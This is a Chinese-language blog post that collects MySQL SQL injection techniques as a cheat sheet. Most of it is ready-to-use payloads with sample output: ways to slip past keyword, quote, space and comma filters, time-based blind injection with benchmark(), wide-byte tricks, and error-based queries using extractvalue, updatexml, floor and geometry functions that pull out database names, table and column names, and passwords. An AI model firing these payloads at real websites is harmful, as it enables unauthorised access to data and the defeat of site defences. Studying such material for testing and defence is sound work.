SQL注入常见技巧汇总

into绕过order by 过滤

order byinto两个都可以用来判断列数,但是两者是有区别的
order by是你select了几个就可以在那几个的范围里面变动,超过就报错。

mysql> select username,password from users order by 1;
+----------+------------+
| username | password   |
+----------+------------+
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| admin4   | admin4     |
| Angelina | I-kill-you |
| batman   | mob!le     |
| dhakkan  | dumbo      |
| Dumb     | Dumb       |
| Dummy    | p@ssword   |
| hello    | world      |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
+----------+------------+
14 rows in set (0.01 sec)

mysql> select username,password from users order by 2;
+----------+------------+
| username | password   |
+----------+------------+
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| admin4   | admin4     |
| secure   | crappy     |
| Dumb     | Dumb       |
| dhakkan  | dumbo      |
| superman | genious    |
| Angelina | I-kill-you |
| batman   | mob!le     |
| Dummy    | p@ssword   |
| stupid   | stupidity  |
| hello    | world      |
+----------+------------+
14 rows in set (0.00 sec)

mysql> select username,password from users order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

into 就比较死板,必须是你select 了几个就要into 几个,少了多了都不行。而且必须是一行才可以所以必须要limit.(1.select into 本是一个备份内容的操作。2.@是一个变量符号)

mysql> select username,password from users into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select username,password from users into @,@;
ERROR 3061 (42000): User variable name '' is illegal
mysql> select username,password from users into @,@,@;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

order by 只能在 limit前使用,into 只能在limit 之后使用

mysql> select * from users limit 1,1 order by 3;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3' at line 1
mysql> select * from users order by 3 limit 1,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  9 | admin1   | admin1   |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users limit 1,1 into @,@,@;
ERROR 3061 (42000): User variable name '' is illegal
mysql> select * from users into @,@,@ limit 1,1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 1,1' at line 1

小结:order by 过滤了用into

16进制绕过引号

有些时候过滤了引号,导致字符串不能写入,我们可以用字符串的16进制形式绕过,这样就不需要引号了。还有hex()unhex()这两个函数可以使用。

select column_name from information_schema.columns where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273

等于号过滤使用like 或者 in 绕过

等号过滤用inlike代替

substr(password,1,1) in('p');
substr(password,1,1) like('p');

mysql> select * from users where username in('admin');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
+----+----------+----------+
1 row in set (0.00 sec)

in 还能通过order by 指定顺序

select * from users where id IN (3,6,9,1,2,5,8,7) order by field(id,3,6,9,1,2,5,8,7);

<,> 代替等于号构造真值

or swords > sw
or swords < tw
or 1<3

字符串相等绕过

or 'swords' = 'swords'

sleep过滤

BENCHMARK(count,expr)

BENCHMARK()函数重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用。

if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

编码绕过

URLEncode编码ASCIIHEXunicode编码绕过

URL编码:or 1=1%6f%72%20%31%3d%31

url双重编码; ?id=1%252f%252a\*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a\*/FROM%252f%252a\*/Users--+

hex编码:见16进制绕过单引号

ascii编码: select * from users where username=char(97,100,109,105,110)

或者

char(101)+char(97)+char(105)+char(116)

unicode编码:

一些unicode编码举例:

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

html 实体编码:SELECT FROM Users WHERE username = 'admin'

substr()的逗号绕过

from 1 for 1 代替 substr(,1,1)

select * from users where id=1 union select 1,2, substr((select username from users limit 0,1),1,1);
select * from users where id=1 union select 1,2, substr((select username from users limit 0,1) from 1 for 1);
mysql> select * from users where id=1 union select 1,2, substr((select username from users limit 0,1),1,1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | D        |
+----+----------+----------+
2 rows in set (0.01 sec)

mysql> select * from users where id=1 union select 1,2, substr((select username from users limit 0,1) from 1 for 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | D        |
+----+----------+----------+
2 rows in set (0.00 sec)

limit 逗号绕过

limit 1 offset 0 代替 limit 0,1

select * from users where id=1 union select 1,2, substr((select username from users limit 1 offset 0),1,1);

其他逗号绕过(使用join)

select * from users union select 1,2,3;
select * from users union select * from (select 1)a join (select 2)b join (select 3)c;

greatest between 绕过<,> 等比较符号

当我们盲注的时候,要用到比较符号,如果过滤了可以用greatest(x,y,z,..)绕过 返回的是他们的最大值

select * from users where id=1 and ascii(substr(database(),0,1))>64

改成

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

当然这里的等于号可以改成in()

SELECT * FROM `p_archives_3` WHERE `picsad` between 1113 and 1122

等同于

SELECT * FROM `p_archives_3` WHERE `picsad` >= 1113 and `picsad`<=1122

你要保证picsad数字类型

空格绕过

()

括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

/**/或者/*1*/

%0d %0a %0c %0b %a0

+

TAB

两个括号

把上面说的编一下码试试

select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格

select A,1E0fromB

这里的逗号是两列的意思 1e0占了第二列

同样,上面的1E0可以用1.0代替

\N 绕过是绕过NULL,因为\N相当于NULL

select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');

idfrom在之间的空格绕过

select+id-1+1.from users;
select-id-1+3.from users;

注意:第二句得到的id将会是 -id+2

常见的注释

–+

#

%23

– -

%00

`单行或者多行注释(别名)

/* */ 单行或者多行注释

利用过滤删除绕过

比如说他过滤了/**/(将其删除)又过滤了select那么我们可以这么写
sel/**/ect.

意思就是被删除的可以加在另一个要删除的里面,这样不仅不会识别,删除后又还原了,实现绕过,这里面还包括双写被过滤字符的方法

大小写绕过

经常试试大小写混合比如 UnIOn sELecT….

内联注释绕过

介绍一下什么是内联注释:/!/在其他数据库语言中是注释,但是在sql中却可以执行,为了sql提高语句的兼容性.

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

/*!50001from*/ 表示在mysql版本高于50001也就是mysql5中可以执行这条命令

+ - . 拆分字符串绕过

?id=1' or '11+11'='11+11'
"-"和"."

符号代替文字绕过

&&代替and

||代替or

| 代替 xor

宽字节绕过

简单的讲一下,一般当引号被过滤就会在引号前加一个\,将其转义失去作用,这样我们就不能闭合引号完成注入了。但是如果他的字符集设置为了双字节,也就是说两个字符可以代表一个中文的情况,那么我们就可以构造成一个中文字,\的url是%27我们在引号前写上%df,那么%df%27构成了中文的繁体运,引号就没有被过滤,成功绕过。当然不只是%df只要在那个字符集的范围内都可以。如%bf%27 %df%27 %aa%27

等价函数变量的绕过

hex()、bin() ==> ascii()

sleep() ==>benchmark()

这里补充一下:

在sqlsever 中用 waitfor delay
在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

@@version ==> version()

数字的其他写法绕过空格

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0

注:E0是科学计数法

conv(,10,36)代替字母

conv(10,10,36)是大写的A
lower(conv(10,10,36/16s))小写的a

常见的bypass

id=1+(UnIoN)+(SelECT)+

id=1+(UnIoN+SeLeCT)+

id=1+(UnI)(oN)+(SeL)(EcT)

id=1+’UnI’’On’+’SeL’’ECT’ <-MySQL only

id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

使用count(*) 返回数据行数

select count(*) from users;
+----------+
| count(*) |
+----------+
|       13 |
+----------+

注意: 这里的行数只是真正的行数,不是最终的id 编号

报错注入

1.extractvalue 报错

and extractvalue(1, concat(1, (select database() limit 0,1)))--+;

查表
and extractvalue(1, concat(1,(select table_name from information_schema.tables limit 0,1)))–+;
查列
and extractvalue(1, concat(1,(select column_name from information_schema.columns limit 0,1)))–+;
查数据
and extractvalue(1, concat(1,(select password from users limit 0,1)))–+;

2.UpdateXml报错

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

3.运算数值的大小限制报错

select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

这个函数是计算e的n次方,~是按位取补,exp计算的次方数是有限制的,我们如果给他传一个字符串,php 的弱类型就会当成是0这样取反之后就超了,报错

类似的还有:

select !(select*from(select user())x)-~0;

这里注意一下:

进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名,一般是as+别名 但是as 可以省略。

4.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

5.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

6.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

7.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

限制与from的组合

from. 代替 from

如果遇到表名或者字段名是保留字

这个时候最好使用点号连接表名和字段名,或者直接使用反引号包起来

在函数名与括号间添加空格或者注释绕过函数过滤

concat/**/()

在查询时使用一个不存在的函数就能报错出数据库的名字

select password from contents where id=a()
这个a()是不存在的函数,结果如下

mysql> select username from users where id=a();
ERROR 1305 (42000): FUNCTION security.a does not exist

本文作者: iceH
本文链接: http://www.secice.cn/p/a571637f
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!